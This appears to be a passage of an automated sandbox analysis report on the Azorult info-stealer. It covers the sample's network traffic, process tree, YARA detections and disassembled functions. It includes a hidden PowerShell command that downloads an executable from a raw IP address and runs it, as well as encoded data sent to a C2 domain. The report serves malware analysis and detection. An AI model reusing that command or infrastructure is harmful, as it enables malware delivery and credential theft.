Oct 3, 2024 05:02:55.777121067 CEST	1236	IN	Data Raw: ef bb 5c 26 07 12 0c c0 a5 01 bd 32 bc cd 30 01 62 65 76 b5 86 59 fd 70 f2 b8 5c 32 12 46 26 c0 af 55 be 51 f4 ac 5d 3d 08 01 45 ff 88 71 ae 1c 8a c6 02 63 56 5e 54 9e f9 00 af 33 ac fe 69 43 6b 57 5d 9f f3 01 af 30 ad fa 02 65 53 3c 55 2e 49 01 Data Ascii: \&20bevYp\2F&UQ]=EqcV^T3iCkW]0eS<U.I20b`vc5W3bmgq]37Sua7]l-dz`f:P&m\&20bmv3/Re3a%k\'_rR I12:~.X10gieI12
Oct 3, 2024 05:02:55.777156115 CEST	1236	IN	Data Raw: 8e ef 7e 3d 05 14 0a dc a4 56 ea 22 cf a4 5c 20 46 25 00 dd bf 59 f8 6b fe aa 47 31 46 27 10 db a3 5f ec 6b e9 b2 03 4a 71 6b 54 9f fb 08 ad 33 af f9 02 6d 55 54 3f b8 c6 02 ae 32 a5 f8 02 66 54 54 5c 9c f9 6a ae 7b ac c0 03 5d 60 65 30 ab cd 23 Data Ascii: ~=V"\ F%YkG1F'_kJqkT3mUT?2fTT\j{]`e0#W dw`f8@<^5W3bbbf]0WxU3&_v\&Ylu`e0#OA;sf`=AUDVhJ<>Ugg`Uld0,p*dx5@`
Oct 3, 2024 05:02:55.777189016 CEST	1236	IN	Data Raw: 9a ab 74 31 06 26 2b 1f 89 dc d0 ef 2e bd 4a 8c 6c 52 6c c2 d7 b0 af 1d 7f c5 67 89 83 c7 9e 4a 8c 20 33 66 05 34 63 42 48 1a da aa ea 4a 7c 97 dc ec 5a 97 f5 e9 f0 66 46 e8 05 23 33 c6 6f c8 96 c4 cb 29 a3 b3 92 68 b0 70 45 3f 66 7b f3 02 39 26 Data Ascii: t1&+.JlRlgJ 3f4cBHJ\|ZfF#3o)hpE?f{9&HA(BifPTs+hnh1=c 5[Vrk0Vgdg&63TfzU9MYgg`3"RloBl.Be):@]T^=V3Re3ak\
Oct 3, 2024 05:02:55.777224064 CEST	1236	IN	Data Raw: 26 b3 c1 df b6 8a 5e ae 25 d2 20 8d 97 ce fb d9 2e 84 95 fc de ed d1 a9 0f 2f d4 d9 0c b3 e5 6e 2d a4 6c 04 b2 4e 30 bd f7 4c 41 8d bb cb 68 fe 79 b3 aa 7a 6b 91 62 4d bb 8c 86 4c 00 45 58 5e 14 f3 dd 0e f2 ac f9 2f 58 9a 3d be 04 3a 5a b9 53 bb Data Ascii: &^% ./n-lN0LAhyzkbMLEX^/X=:ZS=)fT)[*#ArDmrVl'Zq7>'dx{)a8_){=I!Q}6Jy_R(6vs}Ew;Pi%rxeUTq
Oct 3, 2024 05:02:55.777302027 CEST	1236	IN	Data Raw: c8 cf 39 47 73 2b 0c cc b9 5f ed 6d fb bf 13 17 09 14 15 c0 b9 51 ea 6b f2 a5 02 75 56 79 63 ac 9e 34 9d 11 85 86 5a 37 14 09 16 c0 ad 44 be 56 f4 a6 56 79 35 12 04 c2 bb 10 ce 41 dc c9 20 67 66 66 65 6e c2 c8 9c 43 26 86 99 88 66 66 65 af cb f1 Data Ascii: 9Gs+_mQkuVyc4Z7DVVy5A gffenC&ffeZed2:~.X15]L-)<=/RoLM[qkT;eWV?6(kgl&[}7~t=M{kd53;bX~\|K-EMZ10hPkO%^
Oct 3, 2024 05:02:55.782418966 CEST	1236	IN	Data Raw: 58 d4 dd 9e 58 a2 bb 42 7a a6 18 64 c8 13 7e b9 94 23 1a ad c8 31 9e 03 3e 49 32 2e 56 e4 64 d9 fb 2f 98 01 c8 d6 16 50 7e 56 73 a9 c1 1b 98 03 99 ca b1 63 5b 60 64 a9 c3 1b 98 03 98 ce 34 57 65 56 78 a9 c8 65 83 0c 99 dd 37 40 40 52 7b 65 44 c2 Data Ascii: XXBzd~#1>I2.Vd/P~Vsc[`d4WeVxe7@@R{eD)`yIuOc5W3{twejVoer%WQ6W TUU`f^Q]11_KU5cW_20{Ea&{7l/De/BiGwTf,P)V(Mv<p^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.159.45	80	6980	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 05:03:00.581937075 CEST	165	OUT	POST /ML341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: h8m5b.shop Content-Length: 43474 Cache-Control: no-cache
Oct 3, 2024 05:03:00.582010984 CEST	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 ec 26 66 9a 26 66 9f 26 66 9e 40 70 9d 3b 70 9d 35 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE1&f&f&f@p;p5p4pGp:0`&fAp0&f&f&g&fm1t&1e0d0e1em!q%j&-0c0a&f&f&f&f&f&f4e:p)0e&fp3)0f0gF)1Bm@4`@x1l.aA7b@cGc:;a
Oct 3, 2024 05:03:00.587712049 CEST	1236	OUT	Data Raw: 59 19 fc 4e 11 fd 41 13 eb 49 04 f7 4d 1b e5 57 1d ec 4e 1f e3 56 1d f8 56 1a e7 55 0f fc 56 19 e4 45 13 f7 4a 00 e3 4c 1d fb 44 16 e4 56 0c f4 44 0d e5 5b 1b e7 54 0f fb 48 07 e7 5a 11 f4 42 01 eb 4c 0d e9 4e 1d fb 53 1a e1 41 1c e6 46 10 f8 53 Data Ascii: YNAIMWNVVUVEJLDVD[THZBLNSAFSFGKHWNEZGQYVKJBLMTGYIZNLPPDEGK@PUZHHJAK[FGQNWU[UKJLWB
Oct 3, 2024 05:03:00.587712049 CEST	1236	OUT	Data Raw: 4b 14 ff 41 19 e6 45 0d ed 4f 01 e7 48 12 f6 54 11 f8 51 12 fd 50 07 ea 4d 16 f7 4c 03 ed 4f 01 fb 56 10 f9 51 1c ea 46 1a fd 54 02 f4 48 01 ff 4f 12 e2 50 1c e8 53 03 ef 45 1f ea 44 02 f8 59 0c e4 56 1a f8 57 18 e9 44 0f e3 54 00 f7 4c 04 f7 40 Data Ascii: KAEOHTQPMLOVQFTHOPSEDYVWDTL@MHILT@JNR@SI[JDJHHLZLSB[YUGSGYUJQA[SVFAHRSMIAPBERKIMQ
Oct 3, 2024 05:03:00.587750912 CEST	1236	OUT	Data Raw: 53 1f e7 51 02 f8 4d 04 f7 59 14 e4 42 1d ef 54 1c eb 45 13 e0 5b 19 f6 52 02 e7 56 02 f7 50 12 f4 47 13 f7 53 16 ed 44 02 f7 41 17 e8 52 04 e3 50 18 e4 41 07 e7 56 05 e8 41 02 e7 4b 02 e4 54 03 ed 5a 1a ec 4d 1b f6 48 1c e7 54 01 e7 5b 1a f9 51 Data Ascii: SQMYBTE[RVPGSDARPAVAKTZMHT[QESEDMTNJ@WKHMKAFSV@I_HVUUUL&UQwUj9p_LA[AETW{o&AETWPMGB@BE
Oct 3, 2024 05:03:00.587778091 CEST	4944	OUT	Data Raw: 53 1e ad 07 41 ae 03 55 ae 03 55 ae 03 55 ef db 08 72 01 51 ae 03 57 aa 03 55 8c 03 55 ae 45 3c c2 66 26 f2 32 09 eb 45 1a f7 45 17 e1 4f 0d ef 5f 10 e8 4c 0c e8 41 1a e2 5b 14 80 67 3a cd 7b 10 e8 4c 0c e8 41 1a e2 5b 14 ed 56 11 f7 56 07 ff 55 Data Ascii: SAUUUrQWUUE<f&2EEO_LA[g:{LA[VVUUKDGBLSRTKMPVTPUEUINFTRPDIFIYKMSSZVKWHWRVLVLMPWTNK[IK
Oct 3, 2024 05:03:00.587852001 CEST	4944	OUT	Data Raw: 42 16 e1 4a 1b e0 47 14 e3 4c 04 e1 53 14 e7 55 19 ef 55 1f ff 54 1e f4 45 14 e0 4a 10 f6 50 07 e1 54 03 fe 57 16 fc 51 02 e3 54 10 e1 4a 13 f4 5b 07 fa 4d 18 f7 41 12 fc 59 1c e5 53 1f ed 57 1f f7 49 04 e8 48 12 f8 4c 1e fe 57 1f f7 5b 00 ea 40 Data Ascii: BJGLSUUTEJPTWQTJ[MAYSWIHLW[@LNDYOZLQJTPQGDRVKELYRPPNOHYBLTQAWFY@OGT@OOSWZLZETDIMT
Oct 3, 2024 05:03:00.587896109 CEST	4944	OUT	Data Raw: 41 1b e8 4a 02 f9 54 0f f6 49 19 ed 42 1b ff 50 1e f9 4e 1c f9 48 05 e3 55 01 ed 54 13 fb 4e 04 ec 42 12 f9 59 07 f9 4b 07 ed 4e 1f ea 50 1b fe 44 12 e9 4d 10 ed 4d 04 e9 53 1c f4 5b 19 ec 4a 18 e2 5b 18 e6 47 11 f6 47 1e f8 5a 05 eb 48 07 ed 4d Data Ascii: AJTIBPNHUTNBYKNPDMMS[J[GGZHMGIFWGAZSTI[VAVTMNZAWIQVKINLYUPMSOEORRJ[LPY@KGFIJ@MSTB
Oct 3, 2024 05:03:00.587934971 CEST	2472	OUT	Data Raw: 4f 14 e5 51 10 fd 4b 1f fe 4e 05 ed 56 1d fc 45 0d e6 55 00 e7 52 16 ff 59 0c ea 57 16 e0 51 12 f9 55 01 f7 41 18 e7 4a 19 f6 4a 1c e7 4c 12 e3 4b 14 ff 41 19 e6 45 0d ed 4f 01 e7 48 12 f6 54 11 f8 51 12 fd 50 07 ea 4d 16 f7 4c 03 ed 4f 01 fb 56 Data Ascii: OQKNVEURYWQUAJJLKAEOHTQPMLOVQFTHOPSEDYVWDTL@MHILT@JNR@SI[JDJHHLZLSB[YUGSGYUJQA[SV
Oct 3, 2024 05:03:00.593197107 CEST	2472	OUT	Data Raw: 4f 1f eb 59 13 e0 42 1d e8 4e 07 e0 4c 1b ed 4f 10 f6 4f 1d f6 55 03 e7 4b 14 ec 45 1f f4 45 1d e1 42 07 f4 45 14 fc 40 18 e3 42 17 e0 44 58 a4 53 1e ad 07 41 ae 03 55 ae 03 55 ae 03 55 ef db 08 72 01 51 ae 03 57 aa 03 55 8c 03 55 ae 45 3c c2 66 Data Ascii: OYBNLOOUKEEBE@BDXSAUUUrQWUUE<f&1EEO_LA[g:{LA[VVUUKDGBLSRTKMPVTPUEUINFTRPDIFIYKMSSZVKW
Oct 3, 2024 05:03:00.593197107 CEST	1236	OUT	Data Raw: 4e 1a f7 48 1a e0 59 1f e4 4b 03 f7 5a 1d ea 55 0f ff 53 17 f8 4f 14 eb 5a 0c e8 56 19 ff 55 1c ef 49 16 ff 5a 16 ea 40 10 e9 47 05 fc 51 19 f6 5b 0f f6 45 1c fe 5b 0f f7 50 0f f7 4c 1d eb 42 05 ed 4a 06 ed 52 04 e7 42 0d f8 53 14 ff 56 03 e6 44 Data Ascii: NHYKZUSOZVUIZ@GQ[E[PLBJRBSVDKAYOYALGSMURYKKFOFDUIISTJ@RLBNQUZWZYFAOKINZZFWYMMU[W@
Oct 3, 2024 05:03:04.741774082 CEST	609	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 03:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XZDdXbl7%2Fbws0bmfcz2sZEjioIIE0IlnDuTbcJyzplBNA%2BADz%2FXIFAJjCN4Gjxuqe%2FFVhWtzJ%2B0SKXifOMdK50r%2BTHX1I8tk%2BJOa%2BZm2uiaeFQtWI8O%2F%2BiXsMkE1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc9b2574e26c47c-EWR Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7falseOK0

Target ID:	0
Start time:	23:02:50
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Order-63729_Reference.bat" "
Imagebase:	0x7ff6f0b10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:02:50
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:02:50
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:02:53
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe"
Imagebase:	0x400000
File size:	114'688 bytes
MD5 hash:	27864DD446F03F806B26031D97E3377B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000003.2159881984.0000000003F44000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000003.2159558849.0000000003270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000003.2159912461.0000000003274000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: unknown Rule: Azorult, Description: detect Azorult in memory, Source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000003.2158939584.00000000020C4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: unknown Rule: Azorult, Description: detect Azorult in memory, Source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000003.2158957820.0000000003C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: unknown Rule: Azorult_1, Description: Azorult Payload, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: kevoreilly Rule: Azorult, Description: detect Azorult in memory, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	28.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18%
Total number of Nodes:	2000
Total number of Limit Nodes:	11

Executed Functions

Function 00417B1A Relevance: 57.8, APIs: 20, Strings: 13, Instructions: 64
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(crtdll.dll,wcscmp), ref: 00417B33
GetProcAddress.KERNEL32(00000000,crtdll.dll), ref: 00417B39
LoadLibraryA.KERNEL32(Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417B4D
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417B53
LoadLibraryA.KERNEL32(Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417B67
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417B6D
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417B81
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417B87
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417B9B
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417BA1
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll), ref: 00417BB5
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417BBB
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll), ref: 00417BCF
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417BD5
LoadLibraryA.KERNEL32(Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll), ref: 00417BE9
GetProcAddress.KERNEL32(00000000,Gdiplus.dll), ref: 00417BEF
LoadLibraryA.KERNEL32(ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll), ref: 00417C03
GetProcAddress.KERNEL32(00000000,ole32.dll), ref: 00417C09
LoadLibraryA.KERNEL32(ole32.dll,GetHGlobalFromStream,00000000,ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll), ref: 00417C1D
GetProcAddress.KERNEL32(00000000,ole32.dll), ref: 00417C23

Strings

ole32.dll, xrefs: 00417BFE, 00417C18
GetHGlobalFromStream, xrefs: 00417C13
CreateStreamOnHGlobal, xrefs: 00417BF9
GdiplusShutdown, xrefs: 00417B5D
GdipGetImageEncodersSize, xrefs: 00417B91
wcscmp, xrefs: 00417B29
crtdll.dll, xrefs: 00417B2E
Gdiplus.dll, xrefs: 00417B48, 00417B62, 00417B7C, 00417B96, 00417BB0, 00417BCA, 00417BE4
GdipCreateBitmapFromHBITMAP, xrefs: 00417B77
GdipGetImageEncoders, xrefs: 00417BAB
GdiplusStartup, xrefs: 00417B43
GdipDisposeImage, xrefs: 00417BC5
GdipSaveImageToStream, xrefs: 00417BDF

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CreateStreamOnHGlobal$GdipCreateBitmapFromHBITMAP$GdipDisposeImage$GdipGetImageEncoders$GdipGetImageEncodersSize$GdipSaveImageToStream$Gdiplus.dll$GdiplusShutdown$GdiplusStartup$GetHGlobalFromStream$crtdll.dll$ole32.dll$wcscmp
API String ID: 2574300362-2815069134
Opcode ID: 57a083585dbc8ce9df7a63cc0a821fb4195fa2904eec68678409c4ef2343df9d
Instruction ID: 8590a6e993e3993f4c60c6cfae4e59332f73d92cf5cac50a27a19d2551d8218b
Opcode Fuzzy Hash: 57a083585dbc8ce9df7a63cc0a821fb4195fa2904eec68678409c4ef2343df9d
Instruction Fuzzy Hash: 3911D0F17C430069DA0177B2DD8BAE635B4BBC1B4A730447B7104722D2E97C888196DD

Function 00418688 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 375
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00418B80,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418714
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00418B80,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418728
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00418B80,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418748
GetProcAddress.KERNEL32(00000000,-0000000C), ref: 0041875C
GetProcAddress.KERNEL32(00000000,-0000001A), ref: 00418771
GetProcAddress.KERNEL32(00000000,-0000002B), ref: 00418786
GetProcAddress.KERNEL32(00000000,-0000003C), ref: 0041879B
GetProcAddress.KERNEL32(00000000,-00000053), ref: 004187B0
GetProcAddress.KERNEL32(00000000,-00000064), ref: 004187C5
GetProcAddress.KERNEL32(00000000,-00000075), ref: 004187DA
GetProcAddress.KERNEL32(00000000,-00000089), ref: 004187F0
GetProcAddress.KERNEL32(00000000,-0000009B), ref: 00418807
InternetCrackUrlA.WININET(00000000,00000000,90000000,?,00000000,-0000009B,00000000,-00000089,00000000,-00000075,00000000,-00000064,00000000,-00000053,00000000,-0000003C), ref: 004188F3
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1),00000000,00000000,00000000,00000000,?,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C), ref: 00418984
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000), ref: 004189C4
HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,84003300,00000000,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000), ref: 00418A21
HttpSendRequestA.WININET(00000000,00418CB8,00000000,00000000,00000000,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418A72
InternetReadFile.WININET(00000000,?,00010064,?,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418A9D
InternetCloseHandle.WININET(00000000,?,?,0041B0FC,0000044D,000021E5,00000000,00000000,00000000,?,0041923C,00000000), ref: 00418AD4

Strings

Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 0041897F
POST, xrefs: 004186DD
Host: , xrefs: 00418951
wininet.dll, xrefs: 00418701
.bit, xrefs: 00418928

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressProc$Internet$HandleHttpLibraryLoadOpenRequest$CloseConnectCrackFileModuleReadSend
String ID: .bit$Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$POST$wininet.dll
API String ID: 1919173369-2879170074
Opcode ID: 56a08f971a344ee113826defbb1e72536bdb7fe50e4f450330abf4f2e38adec9
Instruction ID: 76fb72323b8ae20ff65678eff3f65f90e6b3cd7dcd45201054b3a4b47af70050
Opcode Fuzzy Hash: 56a08f971a344ee113826defbb1e72536bdb7fe50e4f450330abf4f2e38adec9
Instruction Fuzzy Hash: 8AE1EAB1910219ABDB10EFA5CC86BDEBBBCBF44305F10417AF504B6681DB78AA458B58

Function 00416B94 Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 225
libraryloaderprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF
CloseHandle.KERNEL32(00000000), ref: 00416D2C
GetCurrentProcessId.KERNEL32(?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,,?,Zone: ,?,004175A8), ref: 00416DAA

Strings

kernel32.dll, xrefs: 00416BFF, 00416C2D
UHJvY2VzczMyRmlyc3RX, xrefs: 00416C17
UHJvY2VzczMyTmV4dFc=, xrefs: 00416C45
a2VybmVsMzIuZGxs, xrefs: 00416C61
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416BE9

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$CloseCreateCurrentFirstHandleProcessProcess32SnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 3436445879-4127804628
